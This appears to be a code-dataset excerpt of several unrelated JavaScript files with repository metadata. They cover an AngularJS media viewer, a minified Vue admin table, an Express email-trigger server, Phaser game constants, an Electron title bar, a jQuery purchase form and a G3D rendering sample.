'text': '1Sed vel nisi sit amet sem eleifend consectetur. Morbi sit amet nibh quis risus tempor suscipit a quis arcu. Suspendisse id finibus justo. Vivamus mauris est, bibendum ac ipsum eu, malesuada convallis felis.',
'copyright': 'IAM Lab, University of Manchester'
}
},
'loading': true
};
// The current image
$scope.image = {
'src': '',
'title': '',
'text': '',
'copyright': ''
};
// The current video
$scope.video = {
'title': '',
'text': '',
'copyright': '',
'mp4': 'video/test.mp4',
'image': ''
};
// Navigation object for the different views
$scope.view = {
'home': {
'show': true
},
'images': {
'show': false,
'views': {
'heatmap': false,
'gazeplot': false
},
'currentFile': 1
},
'video': {
'show': false,
'currentFile': 1
},
'header': {
'show': true
},
'menu': false
};
// Load the home page
$scope.loadHome = function() {
// Show the correct panel
$scope.changeView(true, false, false, false);
// Hide the header too
$scope.view.header.show = false;
// Animate the titles
$('#mag-home h1').transition({ opacity: 1, delay: 500, y: '40px' });
$('#mag-home h4').transition({ opacity: 1, delay: 1000, y: '-80px' });
$('#start-arrow').transition({ opacity: 1, delay: 2000, y: '-50px' });
};
// Load the static image view
$scope.loadImages = function(file) {
// Keep it within range
var filesLength = Object.size($scope.data.images);
file = (!file || file < 1) ? 1: file;
file = (file > filesLength) ? filesLength: file;
// Show the correct panel
$scope.changeView(false, true, false, false);
// Update the navigation
$scope.view.images.currentFile = file;
// Add the image
$scope.image.src = $scope.data.images[file].image;
// Add the text
$scope.image.title = $scope.data.images[file].title;
$scope.image.text = $scope.data.images[file].text;
$scope.image.copyright = $scope.data.images[file].copyright;
};
// Load the videos view
$scope.loadVideo = function(file) {
// Keep it within range
var filesLength = Object.size($scope.data.images);
file = (!file || file < 1) ? 1: file;
file = (file > filesLength) ? filesLength: file;
// Show the correct panel
$scope.changeView(false, false, true, false);
// Update the navigation
$scope.view.video.currentFile = file;
// Add the video src
$scope.video.mp4 = $sce.trustAsResourceUrl("video/"+$scope.data.videos[file].mp4);
// Add the poster image
$scope.video.image = $scope.data.videos[file].image;
// Add the text
$scope.video.title = $scope.data.videos[file].title;
$scope.video.text = $scope.data.videos[file].text;
$scope.video.copyright = $scope.data.videos[file].copyright;
};
$scope.scrollToVideo = function() {
$('html,body').animate({
scrollTop: $('html').offset().top
}, 1000);
};
// Change the navigation view
$scope.changeView = function(home, view, video, anim) {
$scope.view.home.show = home;
$scope.view.images.show = view;
$scope.view.video.show = video;
// Show the header too
$scope.view.header.show = true;
// Hide the mobile menu
$scope.view.menu = false;
};
// Swap between the static image views
$scope.changeImagesView = function(view) {
switch(view) {
case 'plain':
$scope.image.src = $scope.data.images[$scope.view.images.currentFile].image;
break;
case 'heatmap':
$scope.image.src = $scope.data.images[$scope.view.images.currentFile].heatmap;
break;
}
};
// On page load start home page view
$scope.loadHome();
});
// http://stackoverflow.com/questions/5223/length-of-a-javascript-object-that-is-associative-array
Object.size = function(obj) {
var size = 0, key;
for (key in obj) {
if (obj.hasOwnProperty(key)) size++;
}
return size;
};
| 50.517241 | 1,391 | 0.693788 |
064a46cf01aa2c615ba7a4ae1c8d050115efc3eb | 6,178 | js | JavaScript | src/main/resources/static/admin/js/chunk-2d0afa5f.41cd4019.js | BSGZ123/nxtframework | 1ac407fc3b8ba52bd9a19f45006675e785a9fad4 | [
"Apache-2.0"
] | 148 | 2020-10-02T11:38:23.000Z | 2022-03-30T05:07:08.000Z | src/main/resources/static/admin/js/chunk-2d0afa5f.41cd4019.js | BSGZ123/nxtframework | 1ac407fc3b8ba52bd9a19f45006675e785a9fad4 | [
"Apache-2.0"
] | 11 | 2020-11-10T06:38:59.000Z | 2022-01-19T03:26:05.000Z | src/main/resources/static/admin/js/chunk-2d0afa5f.41cd4019.js | BSGZ123/nxtframework | 1ac407fc3b8ba52bd9a19f45006675e785a9fad4 | [
"Apache-2.0"
] | 67 | 2020-11-01T08:48:23.000Z | 2022-03-31T11:37:41.000Z | (window["webpackJsonp"]=window["webpackJsonp"]||[]).push([["chunk-2d0afa5f"],{"0ee9":function(e,t,a){"use strict";a.r(t);var n=function(){var e=this,t=e.$createElement,a=e._self._c||t;return a("div",{staticClass:"app-container"},[a("el-row",[a("el-button",{attrs:{type:"primary"},on:{click:e.handleCreate}},[e._v("创建")]),e._v(" "),a("div",{staticStyle:{float:"right"}},[e._v("\n 是否推荐\n "),a("el-select",{staticStyle:{width:"150px"},attrs:{placeholder:"请选择"},model:{value:e.params.is_recommend,callback:function(t){e.$set(e.params,"is_recommend",t)},expression:"params.is_recommend"}},e._l(e.options,(function(e){return a("el-option",{key:e.value,attrs:{label:e.label,value:e.value}})})),1),e._v("\n 类别\n "),a("el-select",{attrs:{placeholder:"请选择"},model:{value:e.params.category_id,callback:function(t){e.$set(e.params,"category_id",t)},expression:"params.category_id"}},[a("el-option",{attrs:{value:"",label:"全部"}}),e._v(" "),e._l(e.category_list,(function(e){return a("el-option",{key:e.category_id,attrs:{label:e.category_name_display,value:e.category_id}})}))],2),e._v(" "),a("el-input",{staticStyle:{width:"150px"},attrs:{placeholder:"搜索关键词"},model:{value:e.params.search_keyword,callback:function(t){e.$set(e.params,"search_keyword",t)},expression:"params.search_keyword"}}),e._v(" "),a("el-button",{attrs:{type:"primary"},on:{click:e.change}},[e._v("筛选")])],1)],1),e._v(" "),a("el-card",{staticStyle:{"margin-top":"10px"}},[a("el-table",{ref:"multipleTable",staticStyle:{width:"100%"},attrs:{data:e.listData,"tooltip-effect":"dark"},on:{"selection-change":e.handleSelectionChange}},[a("el-table-column",{attrs:{type:"selection"}}),e._v(" "),a("el-table-column",{attrs:{prop:"contentTitle",label:"标题"}}),e._v(" "),a("el-table-column",{attrs:{prop:"categoryName",label:"类型","show-overflow-tooltip":""}}),e._v(" "),a("el-table-column",{attrs:{label:"日期"},scopedSlots:e._u([{key:"default",fn:function(t){return[e._v(e._s(t.row.datelineCreateReadable))]}}])}),e._v(" "),a("el-table-column",{attrs:{align:"right",width:"80"},scopedSlots:e._u([{key:"default",fn:function(t){return[a("el-col",[a("i",{staticClass:"el-icon-bottom",on:{click:function(a){return e.handleSort(t.$index,t.row,"bot")}}}),e._v(" "),a("i",{staticClass:"el-icon-top",on:{click:function(a){return e.handleSort(t.$index,t.row,"top")}}})])]}}])}),e._v(" "),a("el-table-column",{attrs:{label:"",align:"right",width:"80"},scopedSlots:e._u([{key:"default",fn:function(t){return[a("el-button",{attrs:{size:"mini"},on:{click:function(a){return e.handleEdit(t.$index,t.row)}}},[e._v("编辑")])]}}])}),e._v(" "),a("el-table-column",{attrs:{label:"推荐",align:"right",width:"70"},scopedSlots:e._u([{key:"default",fn:function(t){return[a("el-switch",{attrs:{"active-value":1,"inactive-value":0},on:{change:function(a){return e.changeRecommend(t.$index,t.row)}},model:{value:t.row.isRecommend,callback:function(a){e.$set(t.row,"isRecommend",a)},expression:"scope.row.isRecommend"}})]}}])})],1)],1),e._v(" "),a("el-row",{staticClass:"row-bg",staticStyle:{"margin-top":"20px"},attrs:{type:"flex",justify:"space-around"}},[a("el-col",{attrs:{span:12}},[a("el-button",{attrs:{type:"danger",icon:"el-icon-delete"},on:{click:e.handleDelete}},[e._v("删除")])],1),e._v(" "),a("el-col",{staticStyle:{"text-align":"right"},attrs:{span:12}},[a("el-button",{attrs:{type:"primary",icon:"el-icon-arrow-left"},on:{click:function(t){return e.handlePage(-1)}}},[e._v("上一页")]),e._v(" "),a("el-button",[e._v(e._s(e.listNumber)+"/"+e._s(e.pageCount))]),e._v(" "),a("el-button",{attrs:{type:"primary",icon:"el-icon-arrow-right"},on:{click:function(t){return e.handlePage(1)}}},[e._v("下一页")])],1)],1)],1)},i=[],l=(a("96cf"),a("3b8d")),o=(a("ac6a"),a("db72")),r=a("5c96"),s=a("2f62"),c={data:function(){return{multipleSelection:[],options:[{value:"",label:"全部"},{value:"1",label:"仅含推荐"},{value:"0",label:"仅不推荐"}],value:"",params:{category_id:"",is_recommend:"",search_keyword:""},newParams:{}}},computed:Object(o["a"])({listData:function(){return this.$store.state.new.ListData},listNumber:function(){return this.$store.state.new.ListNumber}},Object(s["c"])({category_list:function(e){return e.new.CategoryListData},pageCount:function(e){return e.new.pageCount}})),created:function(){this.load(),this.$store.dispatch("new/getCategory")},methods:{load:function(){this.$store.commit("new/SET_LIST_NUMBER",1),this.$store.dispatch("new/getList",this.newParams)},change:function(){this.newParams=Object.assign({},this.params),this.$store.commit("new/SET_LIST_NUMBER",1),this.$store.dispatch("new/getList",this.newParams)},toggleSelection:function(e){var t=this;e?e.forEach((function(e){t.$refs.multipleTable.toggleRowSelection(e)})):this.$refs.multipleTable.clearSelection()},handlePage:function(e){if(this.listNumber+e<1||this.listNumber+e>this.pageCount)return!1;this.$store.commit("new/SET_LIST_NUMBER",this.listNumber+e),this.$store.dispatch("new/getList",this.newParams)},handleSelectionChange:function(e){this.multipleSelection=e},handleSort:function(e,t,a){var n=0;if(n="top"===a?e-1:e+1,-1===n||n===this.listData.length)return!1;this.$store.commit("new/SWAP_LIST_DATA",{index:e,actionIndex:n}),this.$store.dispatch("new/swapData",{a_id:this.listData[n].id,b_id:this.listData[e].id})},handleDelete:function(){var e=Object(l["a"])(regeneratorRuntime.mark((function e(){var t,a,n;return regeneratorRuntime.wrap((function(e){while(1)switch(e.prev=e.next){case 0:console.log(this.multipleSelection),t=this.multipleSelection,a=0;case 3:if(!(a<t.length)){e.next=9;break}return e.next=6,this.$store.dispatch("new/deleteNew",t[a].id);case 6:a++,e.next=3;break;case 9:Object(r["Message"])({message:"删除成功!",type:"success",duration:1e3}),n=this,setTimeout((function(){n.load()}),500);case 12:case"end":return e.stop()}}),e,this)})));function t(){return e.apply(this,arguments)}return t}(),handleEdit:function(e,t){this.$router.push({name:"UpdateContent",params:{id:t.id}})},handleCreate:function(){this.$router.push({name:"CreateContent"})},changeRecommend:function(e,t){this.$store.dispatch("new/changeRecommend",{id:t.id,recommend:t.isRecommend})}}},u=c,d=a("2877"),h=Object(d["a"])(u,n,i,!1,null,null,null);t["default"]=h.exports}}]); | 6,178 | 6,178 | 0.68922 |
064a49935c1f0244479a562e89f5188554ad35c3 | 4,395 | js | JavaScript | index.js | strikertanmay/event-triggers | 897c329e8f4585e7248eb32638a37e58733a5316 | [
"MIT"
] | 4 | 2019-06-28T08:07:49.000Z | 2021-11-07T20:18:25.000Z | index.js | strikertanmay/event-triggers | 897c329e8f4585e7248eb32638a37e58733a5316 | [
"MIT"
] | 7 | 2019-05-14T14:02:56.000Z | 2021-05-08T19:55:57.000Z | index.js | strikertanmay/event-triggers | 897c329e8f4585e7248eb32638a37e58733a5316 | [
"MIT"
] | 4 | 2019-05-15T06:44:14.000Z | 2019-07-01T07:49:55.000Z | const express = require("express");
const bodyParser = require("body-parser");
const app = express();
const nodemailer = require("nodemailer"),
transporter = nodemailer.createTransport({
host: "smtp.zoho.in",
port: 465,
secure: true,
auth: {
user: "hello@cynthesize.co",
pass: process.env.EMAIL_PASS
}
}),
EmailTemplate = require("email-templates").EmailTemplate,
path = require("path"),
Promise = require("bluebird");
app.use(bodyParser.json());
function sendEmail(obj) {
return transporter.sendMail(obj);
}
function loadTemplate(templateName, contexts) {
let template = new EmailTemplate(
path.join(__dirname, "templates", templateName)
);
return Promise.all(
contexts.map(context => {
return new Promise((resolve, reject) => {
template.render(context.new, (err, result) => {
if (err) reject(err);
else
resolve({
email: result,
context
});
});
});
})
);
}
function echo(payload) {
if (payload.trigger.name === "test") {
let responseBody = "";
if (payload.event.op === "INSERT") {
responseBody = `New user ${payload.event.data.new.id} inserted, with data: ${
payload.event.data.new.name
}`;
loadTemplate("welcome", [payload.event.data])
.then(results => {
return Promise.all(
results.map(result => {
sendEmail({
to: result.context.new.email,
from: "hello@cynthesize.co",
subject: result.email.subject,
html: result.email.html,
text: result.email.text
});
})
);
})
.catch(e => {
console.log("Error Found: ", e);
});
} else if (payload.event.op === "UPDATE") {
responseBody = `User ${payload.event.data.new.id} updated, with data: ${
payload.event.data.new.name
}`;
} else if (payload.event.op === "DELETE") {
responseBody = `User ${payload.event.data.old.id} deleted, with data: ${
payload.event.data.old.name
}`;
}
return responseBody;
}
else if (payload.trigger.name === "add_project") {
let responseBody = "";
if (payload.event.op === "INSERT") {
responseBody = `New project ${payload.event.data.new.id} inserted, with data: ${
payload.event.data.new.project_name} with senderEmail: ${payload.event.session_variables['x-hasura-email']
}`;
loadTemplate("Add_Project", [payload.event])
.then(results => {
return Promise.all(
results.map(result => {
sendEmail({
to: result.context.session_variables['x-hasura-email'],
from: "hello@cynthesize.co",
subject: result.email.subject,
html: result.email.html,
text: result.email.text
});
})
);
})
.catch(e => {
console.log("Error Found: ", e);
});
} else if (payload.event.op === "UPDATE") {
responseBody = `User ${payload.event.data.new.id} updated, with data: ${
payload.event.data.new.project_name
}`;
} else if (event.op === "DELETE") {
responseBody = `User ${payload.event.data.old.id} deleted, with data: ${
payload.event.data.old.project_name
}`;
}
return responseBody;
}
}
app.post("/", function (req, res) {
try {
let payload = req.body;
let result = echo(payload);
res.json(result);
} catch (e) {
console.log(e);
res.status(500).json(e.toString());
}
});
app.post("/addproject", function (req, res) {
try {
let payload = req.body;
let result1 = echo(payload);
res.json(result1);
// console.log(res);
} catch (e) {
console.log(e);
res.status(500).json(e.toString());
}
});
app.get("/", function (req, res) {
res.send("Hello World - For Add User Event Triggers, try a POST request?");
});
app.get("/addproject", function (req, res) {
res.send("Hello World - For Add Project Event Triggers, try a POST request?");
});
let server = app.listen(process.env.PORT || 5000, function(err) {
if(!err) {
console.log("Server Listening on PORT " + server.address().port);
} else {
console.log(err);
}
});
| 26.160714 | 115 | 0.555859 |
064a5cbd2c7c44dae1854582190be5885e8d9408 | 1,786 | js | JavaScript | utils/FontStyles.js | furkankyildirim/sucheduleApp | 476803c8032a0f81d5d0bbeff9c851f4b88f5973 | [
"MIT"
] | 1 | 2021-10-04T18:59:56.000Z | 2021-10-04T18:59:56.000Z | utils/FontStyles.js | furkankyildirim/sucheduleApp | 476803c8032a0f81d5d0bbeff9c851f4b88f5973 | [
"MIT"
] | null | null | null | utils/FontStyles.js | furkankyildirim/sucheduleApp | 476803c8032a0f81d5d0bbeff9c851f4b88f5973 | [
"MIT"
] | null | null | null | import { StyleSheet } from 'react-native';
import Colors from './Colors';
const defaultColor = Colors.white
const fontStyles = StyleSheet.create({
largeTitle:{
fontSize: 30,
color: defaultColor,
fontWeight: '600',
},
largeIcons:{
fontSize: 40,
color: defaultColor,
opacity: 0.75,
fontWeight: '600',
},
headerIcons:{
fontSize: 24,
color: defaultColor,
fontWeight: '600',
},
smallTitle:{
fontSize: 15,
color: defaultColor,
fontWeight: '500',
},
tinyTitle:{
fontSize: 12,
color: defaultColor,
fontWeight: '400',
position:'absolute',
top:4.5,
textAlign:'center',
width: '100%',
height: '100%'
},
picker:{
fontSize: 14,
color: defaultColor,
fontWeight: '600',
},
smallText:{
fontSize: 16,
fontWeight: '500',
},
courseIcon:{
fontSize: 24,
right:0,
position:'absolute'
},
courseTitle:{
fontSize: 14.5,
fontWeight: '400',
paddingRight: 20,
},
linkIcon:{
color: Colors.white,
paddingHorizontal: 2,
paddingVertical: 0.5
},
groupTitle:{
fontSize:14,
fontWeight:'600'
},
infoTitle:{
fontSize: 12,
color: defaultColor,
fontWeight: '500',
},
instructorTitle:{
fontSize:14,
fontWeight:'500',
},
scheduleTitle:{
color: Colors.grey5,
fontSize:14,
fontWeight:'500'
},
courseDetailTitle:{
fontSize: 18,
color: defaultColor,
fontWeight: '600',
},
checkIcon:{
fontSize: 24,
right:0,
position:'absolute',
color: Colors.green
},
selectedCourse:{
fontSize: 15,
color: defaultColor,
fontWeight: '600',
},
cancelIcon:{
fontSize: 18,
marginHorizontal: 2,
color: defaultColor,
}
})
export default fontStyles | 17.339806 | 42 | 0.599104 |
064a964b12a7d70cb14b90413fba908cc44f061a | 1,303 | js | JavaScript | src/components/titleBar/titleBarActions.js | zenitheesc/ZenView | d46fda3accb35650a233958231f479ac17ea3ffe | [
"MIT"
] | 8 | 2021-03-10T03:31:30.000Z | 2021-09-13T02:19:13.000Z | src/components/titleBar/titleBarActions.js | zenitheesc/ZenView | d46fda3accb35650a233958231f479ac17ea3ffe | [
"MIT"
] | 38 | 2021-04-08T13:15:06.000Z | 2022-02-28T22:50:52.000Z | src/components/titleBar/titleBarActions.js | Math-42/ZenView | cc5a49bb478b1a3b6b539323fe47bc4331ab321e | [
"MIT"
] | null | null | null | const ipcRenderer = require('electron').ipcRenderer;
const remote = require('electron').remote;
module.exports = class TitleBarActions {
constructor(x, y) {
this.x = x;
this.y = y;
this.browserWindow = remote.getCurrentWindow();
}
openMenu() {
ipcRenderer.send('display-app-titleBar', {x: this.x, y: this.y});
}
minimizeWindow() {
if (this.browserWindow.minimizable) {
this.browserWindow.minimize();
}
}
maximizeWindow() {
if (this.browserWindow.maximizable) {
this.browserWindow.maximize();
}
}
unmaximizeWindow() {
this.browserWindow.unmaximize();
}
maxUnmaxWindow() {
if (this.browserWindow.isMaximized()) {
this.browserWindow.unmaximize();
} else {
this.browserWindow.maximize();
}
}
closeWindow() {
this.browserWindow.close();
}
setEvents() {
this.browserWindow.on('maximize', (e) => {
window.dispatchEvent(new CustomEvent('maximizeWindow'));
});
this.browserWindow.on('unmaximize', (e) => {
window.dispatchEvent(new CustomEvent('unmaximizeWindow'));
});
}
}; | 15.890244 | 73 | 0.537989 |
064b540a62b601b2e8edf4bbdf65624dac926cdf | 6,001 | js | JavaScript | scripts/adminpanel/purchase/lists.js | mawei/colderp | fb6c53e0d64705fbde634764447a9970a17d3f13 | [
"Apache-2.0"
] | null | null | null | scripts/adminpanel/purchase/lists.js | mawei/colderp | fb6c53e0d64705fbde634764447a9970a17d3f13 | [
"Apache-2.0"
] | null | null | null | scripts/adminpanel/purchase/lists.js | mawei/colderp | fb6c53e0d64705fbde634764447a9970a17d3f13 | [
"Apache-2.0"
] | null | null | null | define(function (require) {
var $ = require('jquery');
var aci = require('aci');
require('bootstrap');
require('bootstrapValidator');
$(function () {
$("#vendor_id").on("change",function(e) {
var vendor_id = $("#vendor_id").val();
$("#brand").empty();
// $("#brand").append('<option value="">请选择</option>');
var url = SITE_URL + "adminpanel/purchase/get_options/vendor_id/brand/" + vendor_id;
$.ajax({
url: url,
type: "get",
datatype:"json",
contentType: "application/json; charset=utf-8",
success : function(data, status){
if(status == "success"){
var dataObj = eval("("+data+")");
$.each(dataObj,function(i,item){
$("#brand").append(" <option value='" + item + "'>" + item + "</option>");
});
}
},
error : function() {
alert("error");
}
});
$("#series").empty();
$("#series").append('<option value="">请选择</option>');
var url = SITE_URL + "adminpanel/purchase/get_options/vendor_id/series/" + vendor_id;
$.ajax({
url: url,
type: "get",
datatype:"json",
contentType: "application/json; charset=utf-8",
success : function(data, status){
if(status == "success"){
var dataObj = eval("("+data+")");
$.each(dataObj,function(i,item){
$("#series").append(" <option value='" + item + "'>" + item + "</option>");
});
}
},
error : function() {
alert("error");
}
});
});
$("#brand").on("change",function(e) {
var brand = $("#brand").val();
$("#series").empty();
$("#series").append('<option value="">请选择</option>');
var url = SITE_URL + "adminpanel/purchase/get_options/brand/series/" + brand;
$.ajax({
url: url,
type: "get",
datatype:"json",
contentType: "application/json; charset=utf-8",
success : function(data, status){
if(status == "success"){
var dataObj = eval("("+data+")");
$.each(dataObj,function(i,item){
$("#series").append(" <option value='" + item + "'>" + item + "</option>");
});
}
},
error : function() {
alert("error");
}
});
});
$("#series").on("change",function(e) {
var series = $("#series").val();
$("#product_id").empty();
$("#product_id").append('<option value="">请选择</option>');
var url = SITE_URL + "adminpanel/purchase/get_options/series/product_id/" + series;
$.ajax({
url: url,
type: "get",
datatype:"json",
contentType: "application/json; charset=utf-8",
success : function(data, status){
if(status == "success"){
var dataObj = eval("("+data+")");
// alert(dataObj);
$.each(dataObj,function(i,item){
$("#product_id").append(" <option value='" + i + "'>" + item + "</option>");
});
}
},
error : function() {
alert("error");
}
});
});
$("#reverseBtn").click(function(){
aci.ReverseChecked('pid[]')
});
$("#deleteBtn").click(function(){
var _arr = aci.GetCheckboxValue("pid[]");
if(_arr.length==0)
{
alert("请先勾选明细");
return false;
}
if(confirm('确定要删除吗?'))
{
$("#form_list").submit();
}
});
$(".delete-btn").click(function(){
var v = $(this).val();
if(confirm('确定要删除吗?'))
{
window.location.href= SITE_URL+ "adminpanel/purchase/delete_one/"+v;
}
});
$('#validateform').bootstrapValidator({
message: '输入框不能为空',
feedbackIcons: {
valid: 'glyphicon glyphicon-ok',
invalid: 'glyphicon glyphicon-remove',
validating: 'glyphicon glyphicon-refresh'
},
fields: {
product_id: {
validators: {
notEmpty: {
message: '产品不符合格式要求'
}
}
},
}
}).on('success.form.bv', function(e) {
e.preventDefault();
$("#dosubmit").attr("disabled","disabled");
// $.scojs_message("正在保存,请稍等...", $.scojs_message.TYPE_ERROR);
$.ajax({
type: "POST",
url: SITE_URL+"adminpanel/purchase/add/",
data: $("#validateform").serialize(),
success:function(response){
var dataObj=jQuery.parseJSON(response);
if(dataObj.status)
{
alert("添加成功");
// $.scojs_message('操作成功,3秒后将返回列表页...', $.scojs_message.TYPE_OK);
aci.GoUrl(SITE_URL+'adminpanel/purchase/',1);
}else
{
// $.scojs_message(dataObj.tips, $.scojs_message.TYPE_ERROR);
$("#dosubmit").removeAttr("disabled");
}
},
error: function (request, status, error) {
// $.scojs_message(request.responseText, $.scojs_message.TYPE_ERROR);
$("#dosubmit").removeAttr("disabled");
}
});
}).on('error.form.bv',function(e){ $.scojs_message('带*号不能为空', $.scojs_message.TYPE_ERROR);$("#dosubmit").removeAttr("disabled");});
});
});
| 33.52514 | 135 | 0.431428 |
064de584341cd5bab869439ac8d3ee77448caa50 | 1,119 | js | JavaScript | packages/translator-default/test/fixtures/white-space-test/snapshots/translated-html.expected.js | jfan04/x | 00f6a7f8ebcd47fc234aca449d0fd5fc2f044846 | [
"MIT"
] | null | null | null | packages/translator-default/test/fixtures/white-space-test/snapshots/translated-html.expected.js | jfan04/x | 00f6a7f8ebcd47fc234aca449d0fd5fc2f044846 | [
"MIT"
] | null | null | null | packages/translator-default/test/fixtures/white-space-test/snapshots/translated-html.expected.js | jfan04/x | 00f6a7f8ebcd47fc234aca449d0fd5fc2f044846 | [
"MIT"
] | null | null | null | const _marko_template = _t(__filename);
export default _marko_template;
import { x as _marko_escapeXml } from "marko/src/runtime/html/helpers";
import { r as _marko_renderer, c as _marko_defineComponent, rc as _marko_registerComponent } from "marko/src/runtime/components/helpers";
import { t as _t } from "marko/src/runtime/html";
const _marko_componentType = _marko_registerComponent("_XScaIR4", () => _marko_template),
_marko_component = {};
_marko_template._ = _marko_renderer(function (input, out, _component, component, state) {
out.w("<div><div>Hello <div> </div> World</div><div> Hello</div><pre>\n This should \n be preserved\n </pre><div><div>Hello </div></div></div><div>");
scriptletA();
scriptletB();
out.w("Hello ");
scriptletC();
out.w("World");
scriptletD();
out.w(`</div> Hello World! ${_marko_escapeXml(a)}${_marko_escapeXml(b)}<div></div>`);
}, {
___type: _marko_componentType,
___implicit: true
}, _marko_component);
_marko_template.Component = _marko_defineComponent(_marko_component, _marko_template._);
_marko_template.meta = {
id: _marko_componentType
}; | 41.444444 | 162 | 0.720286 |
064df8ba76281e2566aee9b22610ee71b9fd8868 | 647 | js | JavaScript | lib/chaos.js | jieserver/Jies | 85946bc0da6242604880ac72383c196a68ecfb13 | [
"MIT"
] | null | null | null | lib/chaos.js | jieserver/Jies | 85946bc0da6242604880ac72383c196a68ecfb13 | [
"MIT"
] | null | null | null | lib/chaos.js | jieserver/Jies | 85946bc0da6242604880ac72383c196a68ecfb13 | [
"MIT"
] | null | null | null | 'use strict';
const net = require('net')
const http = require('http')
const dgram = require('dgram')
const path = require('path')
const {spawn} = require('child_process')
const log = console.log.bind(console)
const {parse,stringify} = JSON
const EventEmitter = require('events')
const Yin = require('./yin')
const Yang = require('./yang')
const DEFAULT_PORT = 13527
function chaos(options){
options = Object.assign({ port:DEFAULT_PORT,rotate:10 },options)
this.id = 100000000*Math.random()|0
this.yin = new Yin(options)
this.yang = new Yang(options)
}
var proto = {
}
chaos.prototype = EventEmitter
module.exports = chaos | 23.107143 | 68 | 0.697063 |
064e685beada5c537f99c9a594e277e995bfd5c3 | 1,375 | js | JavaScript | examples/war/src/constants.js | amelieelibh/phaser-zombies | 62d48370ab121e5c2209fe8aa4acc4501ece5306 | [
"MIT"
] | null | null | null | examples/war/src/constants.js | amelieelibh/phaser-zombies | 62d48370ab121e5c2209fe8aa4acc4501ece5306 | [
"MIT"
] | null | null | null | examples/war/src/constants.js | amelieelibh/phaser-zombies | 62d48370ab121e5c2209fe8aa4acc4501ece5306 | [
"MIT"
] | null | null | null | var constants = {};
var __cons_params = {
"π": 3.141592653589793 ,
"e": 2.718281828459045 ,
"i": Math.sqrt(-1),
//GAME CONFIG
"PLAYER_HEALTH" : 100,
"PLAYER_MAX_HEALTH" : 100,
"ENEMY_HEALTH" : 20,
"START_ALIVE" : true,
"GUN_AMMO_CARTIGE": 50,
"GUN_DAMAGE" : 25,
"GUN_FIRE_DELAY": 50,
"GUN_RELOAD_DELAY" : 50,
"GUN_FIRE_VEL" : 800,
"POTION_VALUE" : 50,
"VELOCITY_PLAYER" : 300,
"VELOCITY_ENEMY" : 200,
"ACTION_MAX_DELAY" : 500,
"ACTION_MIN_DELAY" : 200,
//SPRITES
"SPRITE_ENEMY" : "zombie",
"SPRITE_PLAYER" : "soldier",
"SPRITE_FRAME_SHADOW" : "shadow",
"SPRITE_HP" : "potion",
InheritanceManager : {
extend : function(subClass, baseClass) {
function inheritance() { }
inheritance.prototype = baseClass.prototype;
subClass.prototype = new inheritance();
subClass.prototype.constructor = subClass;
subClass.baseConstructor = baseClass;
subClass.superClass = baseClass.prototype;
}
}
};
try{
constants = Object.freeze(__cons_params);
console.info("Constantes inicializadas correctamente");
}catch(e){
console.error("El explorador no soporta constantes");
constants = __cons_params;
}
| 26.442308 | 57 | 0.577455 |
064f9a30cbaab1461ce09a7b859e85f93ac2c662 | 95 | js | JavaScript | GQA-FRONTEND/src/store/tabMenu/state.js | Junvary/gin-quasar-admin | fd3b675e37ea7bd93ad2b8fde5a88a05c836cf1d | [
"Apache-2.0"
] | 28 | 2020-12-25T13:31:26.000Z | 2022-03-23T02:01:47.000Z | GQA-FRONTEND/src/store/tabMenu/state.js | quanpower/gin-quasar-admin | 1cf8567ca6ee2cdcb751f6a8f9ab273c509fbd8d | [
"Apache-2.0"
] | 3 | 2021-11-14T05:44:25.000Z | 2021-12-22T02:37:51.000Z | GQA-FRONTEND/src/store/tabMenu/state.js | quanpower/gin-quasar-admin | 1cf8567ca6ee2cdcb751f6a8f9ab273c509fbd8d | [
"Apache-2.0"
] | 10 | 2021-11-13T10:36:24.000Z | 2022-03-30T07:56:40.000Z | export default function () {
return {
tabMenus: [],
currentTab: {},
}
} | 15.833333 | 28 | 0.473684 |
065039e9696d9f924bd74001e1b3f530c6900e0c | 268 | js | JavaScript | build/modules/mode/escapeStringRegexp.js | lancetipton/react-gherkin-editor | 9f6be943a3bca94fb421038f38273151247d7985 | [
"MIT"
] | null | null | null | build/modules/mode/escapeStringRegexp.js | lancetipton/react-gherkin-editor | 9f6be943a3bca94fb421038f38273151247d7985 | [
"MIT"
] | null | null | null | build/modules/mode/escapeStringRegexp.js | lancetipton/react-gherkin-editor | 9f6be943a3bca94fb421038f38273151247d7985 | [
"MIT"
] | null | null | null | "use strict";
Object.defineProperty(exports, "__esModule", {
value: true
});
exports.escapeStringRegexp = void 0;
const escapeStringRegexp = str => str.replace(/[|\\{}()[\]^$+*?.]/g, '\\$&').replace(/-/g, '\\x2d');
exports.escapeStringRegexp = escapeStringRegexp; | 26.8 | 100 | 0.656716 |
065043367a93cf111a759d9e3bdd07f4b1d30729 | 1,441 | js | JavaScript | website/playground-src/samples/guide/custom-geometry.playground.js | Vabular/G3D | 0f51448933e8254828473f2a3e2583fee02b3150 | [
"Apache-2.0"
] | 1 | 2019-10-31T01:48:48.000Z | 2019-10-31T01:48:48.000Z | website/playground-src/samples/guide/custom-geometry.playground.js | Vabular/G3D | 0f51448933e8254828473f2a3e2583fee02b3150 | [
"Apache-2.0"
] | null | null | null | website/playground-src/samples/guide/custom-geometry.playground.js | Vabular/G3D | 0f51448933e8254828473f2a3e2583fee02b3150 | [
"Apache-2.0"
] | null | null | null | function run(G3D, canvas) {
const engine = new G3D.Engine(canvas);
const scene = new G3D.Scene(engine);
const camera = new G3D.ArcRotateCamera(scene);
camera.alpha = 45;
camera.beta = 30;
camera.radius = 5;
camera.fov = 60;
camera.near = 0.0001;
const light1 = new G3D.DirectionalLight(scene);
light1.direction.x = -1;
light1.direction.y = 0;
light1.direction.z = 1;
const light2 = new G3D.HemisphereLight(scene);
const coordinate = G3D.MeshBuilder.createCoordinate(scene, 10);
function createCustomTriangleMesh() {
const mesh = new G3D.Mesh(scene);
mesh.geometry.vertices = [
2, 0, 0,
0, 2, 0,
0, 0, 2
];
mesh.geometry.uvs = [0, 0, 0, 0, 0, 0];
mesh.geometry.normals = [
1, 1, 1,
1, 1, 1,
1, 1, 1
];
mesh.geometry.indices = {
foo: [
0, 1, 2
]
};
delete mesh.materials.default;
mesh.materials.foo = new G3D.StandardMaterial(mesh);
Object.assign(mesh.materials.foo.diffuseColor, { r: 200, g: 100, b: 100 });
Object.assign(mesh.materials.foo.specularColor, { r: 200, g: 100, b: 100 });
mesh.materials.foo.glossiness = 10;
}
const mesh = createCustomTriangleMesh();
return function () {
camera.alpha += 1;
scene.render();
}
} | 25.732143 | 84 | 0.544761 |
